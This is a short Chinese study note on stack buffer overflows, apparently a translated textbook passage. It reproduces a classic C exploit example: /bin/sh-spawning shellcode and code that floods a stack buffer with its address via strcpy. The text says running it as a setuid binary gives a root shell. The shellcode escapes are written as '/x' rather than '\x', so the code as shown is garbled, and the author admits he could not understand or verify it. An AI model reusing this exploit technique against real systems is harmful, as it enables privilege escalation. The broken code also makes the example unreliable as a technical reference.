缓冲区溢出笔记(2006年6月13日)

时间:2021-09-07 19:30:32
一个简单的例子
  
#include <stdio.h>
#include <string.h>

char shellcode[] =
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
"/x80/xe8/xdc/xff/xff/xff/bin/sh";

char large_string[128];

int main(int argc, char **argv)
{
   char buffer[96];
   int i;
   long *long_ptr = (long*)large_string;

   for ( i = 0; i < 32; i++)
   {
      *(long_ptr + i) = (int)buffer;
   }

   for ( i = 0; i < (int)strlen(shellcode); i++)
   {
      large_string[i] = shellcode[i];
   }

   strcpy( buffer,large_string );
   return 0;
}

   该程序运行后,我们成功的获取了系统的权限。
   在这个例子中我们强调了两个地方:第一个是栈溢出,该程序就是利用栈溢出的原理开发的。第二个是二进制编写的用户授权id,该二进制在系统最高权限运行。这两点结合在一起之后使我们就得到了一个root权限的shell。
(注:该段落的翻译虽然还算勉强能懂,但是程序让我很费解,不明白是为什么是这样,而且由于我的系统是windows这使我无法调试和验证该溢出程序的正确性)